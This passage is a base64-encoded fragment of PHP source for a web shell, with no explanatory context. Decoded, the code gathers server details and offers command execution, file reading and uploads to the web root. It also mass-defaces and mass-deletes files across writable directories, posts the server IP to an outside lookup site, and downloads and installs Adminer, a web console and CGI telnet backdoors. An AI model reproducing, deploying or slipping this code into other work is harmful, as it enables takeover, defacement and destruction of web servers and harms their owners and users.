SwgIk9GRiIpKTsNCgkkbGliW10gPSAiUHl0aG9uOiAiLihleGUoJ3B5dGhvbiAtLWhlbHAnKSA/IGNvbG9yKDEsIDIsICJPTiIpIDogY29sb3IoMSwgMSwgIk9GRiIpKTsNCglyZXR1cm4gaW1wbG9kZSgiIHwgIiwgJGxpYik7DQp9DQpmdW5jdGlvbiBwd2QoKSB7DQoJJGRpciA9IGV4cGxvZGUoIi8iLCBwYXRoKCkpOw0KCWZvcmVhY2goJGRpciBhcyAka2V5ID0+ICRpbmRleCkgew0KCQlwcmludCAiPGEgaHJlZj0nP2Rpcj0iOw0KCQlmb3IoJGkgPSAwOyAkaSA8PSAka2V5OyAkaSsrKSB7DQoJCQlwcmludCAkZGlyWyRpXTsNCgkJCWlmKCRpICE9ICRrZXkpIHsNCgkJCXByaW50ICIvIjsNCgkJCX0NCgkJfQ0KCQlwcmludCAiJz4kaW5kZXg8L2E+LyI7DQoJfQ0KCXByaW50ICI8YnI+IjsNCglwcmludCAoT1MoKSA9PT0gIldpbmRvd3MiKSA/IHdpbmRpc2soKSA6ICIiOw0KfQ0KZnVuY3Rpb24gd2luZGlzaygpIHsNCgkkbGV0dGVycyA9ICIiOw0KCSR2ID0gZXhwbG9kZSgiXFwiLCBwYXRoKCkpOw0KCSR2ID0gJHZbMF07DQoJIGZvcmVhY2gocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpIHsNCgkgIAkkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwgYXJyYXkoIkEiKSk7DQoJICAJaWYoISRib29sKSAkYm9vbCA9IGlzX2RpcigiJGxldHRlcjpcXCIpOw0KCSAgCWlmKCRib29sKSB7DQoJICAgCQkkbGV0dGVycyAuPSAiWyA8YSBocmVmPSc/ZGlyPSRsZXR0ZXI6XFwnIi4oJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4iOw0KCSAgIAkJaWYoJGxldHRlci4iOiIgIT0gJHYpIHsNCgkgICAJCQkkbGV0dGVycyAuPSAkbGV0dGVyOw0KCSAgIAkJfQ0KCSAgIAkJZWxzZSB7DQoJICAgCQkJJGxldHRlcnMgLj0gY29sb3IoMSwgMiwgJGxldHRlcik7DQoJICAgCQl9DQoJICAgCQkkbGV0dGVycyAuPSAiPC9hPiBdIjsNCgkgIAl9DQoJfQ0KCWlmKCFlbXB0eSgkbGV0dGVycykpIHsNCgkJcHJpbnQgIkRldGVjdGVkIERyaXZlcyAkbGV0dGVyczxicj4iOw0KCX0NCglpZihjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkgew0KCQlmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSkgew0KCSAgCQkkdiA9IHJlYWxwYXRoKHBhdGgoKS4gIi4uIik7DQoJICAJCWlmKGVtcHR5KCR2KSkgew0KCSAgCQkJJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IscGF0aCgpKTsNCgkgIAkJCXVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQoJICAJCQkkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwgJGEpOw0KCSAgCQl9DQoJICAJCXByaW50ICI8YSBocmVmPSciLiRpdGVtWzFdLiInPiIuJGl0ZW1bMF0uIjwvYT4iOw0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gc2VydmVyaW5mbygpIHsNCgkkZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCgkkZGlzYWJsZV9mdW5jdGlvbnMgPSAoIWVtcHR5KCRkaXNhYmxlX2Z1bmN0aW9ucykpID8gY29sb3IoMSwgMSwgJGRpc2FibGVfZnVuY3Rpb25zKSA6IGNvbG9yKDEsIDIsICJOT05FIik7DQoJJG91dHB1dFtdID0gIlNFUlZFUiBJUCAiLmNvbG9yKDEsIDIsICRHTE9CQUxTWydTRVJWRVJJUCddKS4iIC8gWU9VUiBJUCAiLmNvbG9yKDEsIDIsICRfU0VSVkVSWydSRU1PVEVfQUREUiddKTsNCgkkb3V0cHV0W10gPSAiV0VCIFNFUlZFUiAgOiAiLmNvbG9yKDEsIDIsICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7DQoJJG91dHB1dFtdID0gIlNZU1RFTSAgICAgIDogIi5jb2xvcigxLCAyLCBwaHBfdW5hbWUoKSk7DQoJJG91dHB1dFtdID0gIlVTRVIgLyBHUk9VUDogIi5jb2xvcigxLCAyLCB1c2VyZ3JvdXAoKS0+bmFtZSkuIigiLmNvbG9yKDEsIDIgLCB1c2VyZ3JvdXAoKS0+dWlkKS4iKSAvICIuY29sb3IoMSwgMiAsIHVzZXJncm91cCgpLT5ncm91cCkuIigiLmNvbG9yKDEsIDIgLCB1c2VyZ3JvdXAoKS0+Z2lkKS4iKSI7DQoJJG91dHB1dFtdID0gIkhERCAgICAgICAgIDogIi5jb2xvcigxLCAyLCBoZGQoKS0+dXNlZCkuIiAvICIuY29sb3IoMSwgMiAsIGhkZCgpLT5zaXplKS4iIChGcmVlOiAiLmNvbG9yKDEsIDIgLCBoZGQoKS0+ZnJlZSkuIikiOw0KCSRvdXRwdXRbXSA9ICJQSFAgVkVSU0lPTiA6ICIuY29sb3IoMSwgMiwgQHBocHZlcnNpb24oKSk7DQoJJG91dHB1dFtdID0gIlNBRkUgTU9ERSAgIDogIi4oQGluaV9nZXQoc3RydG91cHBlcigic2FmZV9tb2RlIikpID09PSAiT04iID8gY29sb3IoMSwgMiwgIk9OIikgOiBjb2xvcigxLCAyLCAiT0ZGIikpOw0KCSRvdXRwdXRbXSA9ICJESVNBQkxFIEZVTkM6ICRkaXNhYmxlX2Z1bmN0aW9ucyI7DQoJJG91dHB1dFtdID0gbGliX2luc3RhbGxlZCgpOw0KCSRvdXRwdXRbXSA9ICJDdXJyZW50IERpciAoIi53cml0ZWFibGUocGF0aCgpLCBwZXJtcyhwYXRoKCkpKS4iKSAiOw0KCXByaW50ICI8cHJlPiI7DQoJcHJpbnQgaW1wbG9kZSgiPGJyPiIsICRvdXRwdXQpOw0KCXB3ZCgpOw0KCXByaW50ICI8L3ByZT4iOw0KfQ0KZnVuY3Rpb24gY3VybCgkdXJsLCAkcG9zdCA9IGZhbHNlLCAkZGF0YSA9IG51bGwpIHsNCiAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiAgICAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KICAgIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KICAgIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOw0KICAgIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMCk7DQogICAgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7DQogICAgaWYoJHBvc3QpIHsNCiAgICAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQogICAgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsNCiAgICB9DQogICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOw0KCQkgIGN1cmxfY2xvc2UoJGNoKTsNCn0NCmZ1bmN0aW9uIHJldmVyc2UoKSB7DQoJJHJlc3BvbnNlID0gY3VybCgiaHR0cDovL2RvbWFpbnMueW91Z2V0c2lnbmFsLmNvbS9kb21haW5zLnBocCIsIFRSVUUsICJyZW1vdGVBZGRyZXNzPSIuJEdMT0JBTFNbJ1NFUlZFUklQJ10uIiZrZXQ9Iik7DQoJJHJlc3BvbnNlID0gc3RyX3JlcGxhY2UoIlsiLCIiLCBzdHJfcmVwbGFjZSgiXSIsIiIsIHN0cl9yZXBsYWNlKCJcIlwiIiwiIiwgc3RyX3JlcGxhY2UoIiwgLCIsIiwiLCBzdHJfcmVwbGFjZSgieyIsIiIsIHN0cl9yZXBsYWNlKCJ7IiwiIiwgc3RyX3JlcGxhY2UoIn0iLCIiLCBzdHJfcmVwbGFjZSgiLCAiLCIsIiwgc3RyX3JlcGxhY2UoIiwgIiwiLCIsICBzdHJfcmVwbGFjZSgiJyIsIiIsIHN0cl9yZXBsYWNlKCInIiwiIiwgc3RyX3JlcGxhY2UoIjoiLCIsIiwgc3RyX3JlcGxhY2UoJyInLCcnLCAkcmVzcG9uc2UpKSkpKSkpKSkpKSkpOw0KCSRleHBsb2RlICA9IGV4cGxvZGUoIiwsIiwgJHJlc3BvbnNlKTsNCgl1bnNldCgkZXhwbG9kZVswXSk7DQoJZm9yZWFjaCgkZXhwbG9kZSBhcyAkZG9tYWluKSB7DQoJCSRkb21haW4gPSAiaHR0cDovLyRkb21haW4iOw0KCQkkZG9tYWluID0gc3RyX3JlcGxhY2UoIiwiLCAiIiwgJGRvbWFpbik7DQoJCSR1cmxbXSAJPSAkZG9tYWluOw0KCQlvYl9mbHVzaCgpOw0KCQlmbHVzaCgpOw0KCX0NCglyZXR1cm4gJHVybDsNCn0NCmZ1bmN0aW9uIGdldFZhbHVlKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAkc3RhcnQgCT0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOw0KICAgICRlbmQgCT0gc3RycG9zKCRwYXJhbSwgJGthdGEyLCAkc3RhcnQpOw0KICAgICRyZXR1cm4gPSBzdWJzdHIoJHBhcmFtLCAkc3RhcnQsICRlbmQgLSAkc3RhcnQpOw0KICAgIHJldHVybiAkcmV0dXJuOw0KfQ0KZnVuY3Rpb24gbWFzc2RlZmFjZSgkZGlyLCAkZmlsZSwgJGZpbGVuYW1lLCAkdHlwZSA9IG51bGwpIHsNCgkkc2NhbmRpciA9IHNjYW5kaXIoJGRpcik7DQoJZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyXykgew0KCQkkcGF0aCAgICAgPSAiJGRpci8kZGlyXyI7DQoJCSRsb2NhdGlvbiA9ICIkcGF0aC8kZmlsZW5hbWUiOw0KCQlpZigkZGlyXyA9PT0gIi4iIHx8ICRkaXJfID09PSAiLi4iKSB7DQoJCQlmaWxlX3B1dF9jb250ZW50cygkbG9jYXRpb24sICRmaWxlKTsNCgkJfQ0KCQllbHNlIHsNCgkJCWlmKGlzX2RpcigkcGF0aCkgQU5EIGlzX3dyaXRhYmxlKCRwYXRoKSkgew0KCQkJCXByaW50ICJbIi5jb2xvcigxLCAyLCAiRE9ORSIpLiJdICIuY29sb3IoMSwgNCwgJGxvY2F0aW9uKS4iPGJyPiI7DQoJCQkJZmlsZV9wdXRfY29udGVudHMoJGxvY2F0aW9uLCAkZmlsZSk7DQoJCQkJaWYoJHR5cGUgPT09ICItYWxsZGlyIikgew0KCQkJCQltYXNzZGVmYWNlKCRwYXRoLCAkZmlsZSwgJGZpbGVuYW1lLCAiLWFsbGRpciIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIG1hc3NkZWxldGUoJGRpciwgJGZpbGVuYW1lKSB7DQoJJHNjYW5kaXIgPSBzY2FuZGlyKCRkaXIpOw0KCWZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcl8pIHsNCgkJJHBhdGggICAgID0gIiRkaXIvJGRpcl8iOw0KCQkkbG9jYXRpb24gPSAiJHBhdGgvJGZpbGVuYW1lIjsNCgkJaWYoJGRpcl8gPT09ICcuJykgew0KCQkJaWYoZmlsZV9leGlzdHMoIiRkaXIvJGZpbGVuYW1lIikpIHsNCgkJCQl1bmxpbmsoIiRkaXIvJGZpbGVuYW1lIik7DQoJCQl9DQoJCX0gDQoJCWVsc2VpZigkZGlyXyA9PT0gJy4uJykgew0KCQkJaWYoZmlsZV9leGlzdHMoZGlybmFtZSgkZGlyKS4iLyRmaWxlbmFtZSIpKSB7DQoJCQkJdW5saW5rKGRpcm5hbWUoJGRpcikuIi8kZmlsZW5hbWUiKTsNCgkJCX0NCgkJfSANCgkJZWxzZSB7DQoJCQlpZihpc19kaXIoJHBhdGgpIEFORCBpc193cml0YWJsZSgkcGF0aCkpIHsNCgkJCQlpZihmaWxlX2V4aXN0cygkbG9jYXRpb24pKSB7DQoJCQkJCXByaW50ICJbIi5jb2xvcigxLCAyLCAiREVMRVRFRCIpLiJdICIuY29sb3IoMSwgNCwgJGxvY2F0aW9uKS4iPGJyPiI7DQoJCQkJCXVubGluaygkbG9jYXRpb24pOw0KCQkJCQltYXNzZGVsZXRlKCRwYXRoLCAkZmlsZW5hbWUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIHRvb2xzKCR0b29sc25hbWUsICRhcmdzID0gbnVsbCkgew0KCWlmKCR0b29sc25hbWUgPT09ICJjbWQiKSB7DQoJCXByaW50ICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2RvPWNtZCZkaXI9Ii5wYXRoKCkuIicgc3R5bGU9J21hcmdpbi10b3A6IDE1cHg7Jz4NCgkJCSAgIi51c2VyZ3JvdXAoKS0+bmFtZS4iQCIuJEdMT0JBTFNbJ1NFUlZFUklQJ10uIjogfiAkDQoJCQkgIDxpbnB1dCBzdHlsZT0nYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2ZmZmZmZjsnIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgcmVxdWlyZWQ+DQoJCQkgIDxpbnB1dCBzdHlsZT0nYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2ZmZmZmZjsnIGNsYXNzPSdpbnB1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPg0KCQkJICA8L2Zvcm0+IjsNCgl9DQoJZWxzZWlmKCR0b29sc25hbWUgPT09ICJyZWFkZmlsZSIpIHsNCgkJaWYoZW1wdHkoJGFyZ3MpKSBkaWUoY29sb3IoMSwgMSwgJG1zZykpOw0KCQlpZighaXNfZmlsZSgkYXJncykpIGRpZShjb2xvcigxLCAxLCAiRmlsZSAnJGFyZ3MnIGlzIG5vdCBleGlzdHMuIikpOw0KCQlwcmludCAiPHByZT4iOw0KCQlwcmludCBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmdzKSk7DQoJCXByaW50ICI8L3ByZT4iOw0KCX0NCgllbHNlaWYoJHRvb2xzbmFtZSA9PT0gInNwYXduIikgew0KCQlpZigkYXJncyA9PT0gImFkbWluZXIiKSB7DQoJCQlpZihmaWxlX2V4aXN0cygiYWRtaW5lci5waHAiKSkgew0KCQkJCXByaW50ICJMb2dpbiBBZG1pbmVyOiA8YSBocmVmPSciLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz5odHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvYWRtaW5lci5waHA8L2E+IjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCWlmKCFpc193cml0YWJsZShwYXRoKCkpKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi5wYXRoKCkuIicgaXMgbm90IHdyaXRlYWJsZS4gQ2FuJ3QgY3JlYXRlIGZpbGUgJ0FkbWluZXInLiIpKTsNCgkJCQlpZihnZXRmaWxlKCJhZG1pbmVyIikpIHsNCgkJCQkJcHJpbnQgIkxvZ2luIEFkbWluZXI6IDxhIGhyZWY9JyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnPmh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9hZG1pbmVyLnBocDwvYT4iOw0KCQkJCX0NCgkJCQllbHNlIHsNCgkJCQkJcHJpbnQgY29sb3IoMSwgMSwgIkVycm9yIHdoaWxlIGRvd25sb2FkaW5nIGZpbGUgQWRtaW5lci4iKTsNCgkJCQkJQHVubGluaygiYWRtaW5lci5waHAiKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJZWxzZWlmKCRhcmdzID09PSAid2ViY29uc29sZSIpIHsNCgkJCWlmKGZpbGVfZXhpc3RzKCJ3ZWJjb25zb2xlLnBocCIpKSB7DQoJCQkJcHJpbnQgIjxpZnJhbWUgc3JjPSdodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvd2ViY29uc29sZS5waHAnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCWlmKCFpc193cml0YWJsZShwYXRoKCkpKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi5wYXRoKCkuIicgaXMgbm90IHdyaXRlYWJsZS4gQ2FuJ3QgY3JlYXRlIGZpbGUgJ1dlYkNvbnNvbGUnLiIpKTsNCgkJCQlpZihnZXRmaWxlKCJ3ZWJjb25zb2xlIikpIHsNCgkJCQkJcHJpbnQgIjxpZnJhbWUgc3JjPSdodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvd2ViY29uc29sZS5waHAnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCQl9DQoJCQkJZWxzZSB7DQoJCQkJCXByaW50IGNvbG9yKDEsIDEsICJFcnJvciB3aGlsZSBkb3dubG9hZGluZyBmaWxlIFdlYkNvbnNvbGUuIik7DQoJCQkJCUB1bmxpbmsoIndlYmNvbnNvbGUucGhwIik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWVsc2VpZigkYXJncyA9PT0gImNnaXRlbG5ldDEiKSB7DQoJCQlpZihmaWxlX2V4aXN0cygiaWR4X2NnaS9jZ2l0ZWxuZXQxLmlkeCIpKSB7DQoJCQkJcHJpbnQgIjxpZnJhbWUgc3JjPSdodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvaWR4X2NnaS9jZ2l0ZWxuZXQxLmlkeCcgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0neWVzJz48L2lmcmFtZT4iOw0KCQkJfQ0KCQkJZWxzZWlmKGZpbGVfZXhpc3RzKCdjZ2l0ZWxuZXQxLmlkeCcpKSB7DQoJCQkJcHJpbnQgIjxpZnJhbWUgc3JjPSdodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvY2dpdGVsbmV0MS5pZHgnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCWlmKCFpc193cml0YWJsZShwYXRoKCkpKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi5wYXRoKCkuIicgaXMgbm90IHdyaXRlYWJsZS4gQ2FuJ3QgY3JlYXRlIGRpcmVjdG9yeSAnaWR4X2NnaScuIikpOw0KCQkJCWlmKCFpc19kaXIocGF0aCgpLiIvaWR4X2NnaS8iKSkgew0KCQkJCQlAbWtkaXIoJ2lkeF9jZ2knLCAwNzU1KTsNCgkJCQkJc2F2ZSgiaWR4X2NnaS8uaHRhY2Nlc3MiLCAidyIsICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmlkeCIpOw0KCQkJCX0NCgkJCQlpZihnZXRmaWxlKCJjZ2l0ZWxuZXQxIikpIHsNCgkJCQkJY2htb2QoJ2lkeF9jZ2kvY2dpdGVsbmV0MS5pZHgnLCAwNzU1KTsNCgkJCQkJcHJpbnQgIjxpZnJhbWUgc3JjPSdodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIi8iLiRHTE9CQUxTWydGSUxFUEFUSCddLiIvaWR4X2NnaS9jZ2l0ZWxuZXQxLmlkeCcgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0neWVzJz48L2lmcmFtZT4iOw0KCQkJCX0NCgkJCQllbHNlIHsNCgkJCQkJcHJpbnQgY29sb3IoMSwgMSwgIkVycm9yIHdoaWxlIGRvd25sb2FkaW5nIGZpbGUgQ0dJIFRlbG5ldC4iKTsNCgkJCQkJQHJtZGlyKHBhdGgoKS4iL2lkeF9jZ2kvIik7DQoJCQkJCWlmKCFAcm1kaXIocGF0aCgpLiIvaWR4X2NnaS8iKSBBTkQgT1MoKSA9PT0gIkxpbnV4IikgQGV4ZSgicm0gLXJmICIucGF0aCgpLiIvaWR4X2NnaS8iKTsNCgkJCQkJaWYoIUBybWRpcihwYXRoKCkuIi9pZHhfY2dpLyIpIEFORCBPUygpID09PSAiV2luZG93cyIpIEBleGUoInJtZGlyIC9zIC9xICIucGF0aCgpLiIvaWR4X2NnaS8iKTsNCgkJCQl9DQoJCQl9DQoJDQoJCX0NCgkJZWxzZWlmKCRhcmdzID09PSAiY2dpdGVsbmV0MiIpIHsNCgkJCWlmKGZpbGVfZXhpc3RzKCJpZHhfY2dpL2NnaXRlbG5ldDIuaWR4IikpIHsNCgkJCQlwcmludCAiPGlmcmFtZSBzcmM9J2h0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9pZHhfY2dpL2NnaXRlbG5ldDIuaWR4JyBmcmFtZWJvcmRlcj0nMCcgc2Nyb2xsaW5nPSd5ZXMnPjwvaWZyYW1lPiI7DQoJCQl9DQoJCQllbHNlaWYoZmlsZV9leGlzdHMoJ2NnaXRlbG5ldDIuaWR4JykpIHsNCgkJCQlwcmludCAiPGlmcmFtZSBzcmM9J2h0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9jZ2l0ZWxuZXQyLmlkeCcgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0nbm8nPjwvaWZyYW1lPiI7DQoJCQl9DQoJCQllbHNlIHsNCgkJCQlpZighaXNfd3JpdGFibGUocGF0aCgpKSkgZGllKGNvbG9yKDEsIDEsICJEaXJlY3RvcnkgJyIucGF0aCgpLiInIGlzIG5vdCB3cml0ZWFibGUuIENhbid0IGNyZWF0ZSBkaXJlY3RvcnkgJ2lkeF9jZ2knLiIpKTsNCgkJCQlpZighaXNfZGlyKHBhdGgoKS4iL2lkeF9jZ2kvIikpIHsNCgkJCQkJQG1rZGlyKCdpZHhfY2dpJywgMDc1NSk7DQoJCQkJCXNhdmUoImlkeF9jZ2kvLmh0YWNjZXNzIiwgInciLCAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pZHgiKTsNCgkJCQl9DQoJCQkJaWYoZ2V0ZmlsZSgiY2dpdGVsbmV0MiIpKSB7DQoJCQkJCWNobW9kKCdpZHhfY2dpL2NnaXRlbG5ldDIuaWR4JywgMDc1NSk7DQoJCQkJCXByaW50ICI8aWZyYW1lIHNyYz0naHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kR0xPQkFMU1snRklMRVBBVEgnXS4iL2lkeF9jZ2kvY2dpdGVsbmV0Mi5pZHgnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCQl9DQoJCQkJZWxzZSB7DQoJCQkJCXByaW50IGNvbG9yKDEsIDEsICJFcnJvciB3aGlsZSBkb3dubG9hZGluZyBmaWxlIENHSSBUZWxuZXQuIik7DQoJCQkJCUBybWRpcihwYXRoKCkuIi9pZHhfY2dpLyIpOw0KCQkJCQlpZighQHJtZGlyKHBhdGgoKS4iL2lkeF9jZ2kvIikgQU5EIE9TKCkgPT09ICJMaW51eCIpIEBleGUoInJtIC1yZiAiLnBhdGgoKS4iL2lkeF9jZ2kvIik7DQoJCQkJCWlmKCFAcm1kaXIocGF0aCgpLiIvaWR4X2NnaS8iKSBBTkQgT1MoKSA9PT0gIldpbmRvd3MiKSBAZXhlKCJybWRpciAvcyAvcSAiLnBhdGgoKS4iL2lkeF9jZ2kvIik7DQoJCQkJfQ0KCQkJfQ0KCQ0KCQl9DQoJCWVsc2VpZigkYXJncyA9PT0gInBocGluZm8iKSB7DQoJCQlpZihmaWxlX2V4aXN0cygncGhwaW5mby5waHAnKSBBTkQgcHJlZ19tYXRjaCgiL3BocGluZm8oKS8iLCBmaWxlX2dldF9jb250ZW50cygncGhwaW5mby5waHAnKSkpIHsNCgkJCQlwcmludCAiPGlmcmFtZSBzcmM9J2h0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9waHBpbmZvLnBocCcgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0neWVzJz48L2lmcmFtZT4iOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJaWYoIWlzX3dyaXRhYmxlKHBhdGgoKSkpIGRpZShjb2xvcigxLCAxLCAiRGlyZWN0b3J5ICciLnBhdGgoKS4iJyBpcyBub3Qgd3JpdGVhYmxlLiBDYW4ndCBjcmVhdGUgZmlsZSAncGhwaW5mbycuIikpOw0KCQkJCXNhdmUoInBocGluZm8ucGhwIiwgInciLCAiPD9waHAgcHJpbnQgJzxodG1sPjxzdHlsZT5odG1sLGJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7fTwvc3R5bGU+PGRpdiBzdHlsZT1cJ2JhY2tncm91bmQ6ICMwMDAwMDA7IGNvbG9yOiAjY2NjY2NjO1wnPic7IHBocGluZm8oKTsgcHJpbnQgJzwvZGl2PjwvaHRtbD4nOyA/PiIpOw0KCQkJCXByaW50ICI8aWZyYW1lIHNyYz0naHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kR0xPQkFMU1snRklMRVBBVEgnXS4iL3BocGluZm8ucGhwJyBmcmFtZWJvcmRlcj0nMCcgc2Nyb2xsaW5nPSd5ZXMnPjwvaWZyYW1lPiI7DQoJCQl9DQoJCX0NCgl9DQoJZWxzZWlmKCR0b29sc25hbWUgPT09ICJ1cGxvYWQiKSB7DQoJCWlmKCRfUE9TVFsndXBsb2FkJ10pIHsNCgkJCWlmKCRfUE9TVFsndXBsb2FkdHlwZSddID09PSAnMScpIHsNCgkJCQlpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sIHBhdGgoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLiIiKSkgew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMiwgIlVwbG9hZGVkISIpLiIgYXQgPGk+PGI+Ii5wYXRoKCkuRElSRUNUT1JZX1NFUEFSQVRPUi4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXS4iPC9iPjwvaT4iOw0KCQkJCX0gDQoJCQkJZWxzZSB7DQoJCQkJCSRhY3QgPSBjb2xvcigxLCAxLCAiRmFpbGVkIHRvIHVwbG9hZCBmaWxlISIpOw0KCQkJCX0NCgkJCX0gDQoJCQllbHNlaWYoJF9QT1NUWyd1cGxvYWR0eXBlJ10gPT09ICcyJykgew0KCQkJCSRyb290ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5ESVJFQ1RPUllfU0VQQVJBVE9SLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOw0KCQkJCSR3ZWIgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uRElSRUNUT1JZX1NFUEFSQVRPUi4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJCQlpZihpc193cml0YWJsZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkgew0KCQkJCQlpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRyb290KSkgew0KCQkJCQkJJGFjdCA9IGNvbG9yKDEsIDIsICJVcGxvYWRlZCEiKS4iIGF0IDxpPjxiPiRyb290IC0+IDwvYj48L2k+PGEgaHJlZj0naHR0cDovLyR3ZWInIHRhcmdldD0nX2JsYW5rJz4kd2ViPC9hPiI7DQoJCQkJCX0gDQoJCQkJCWVsc2Ugew0KCQkJCQkJJGFjdCA9IGNvbG9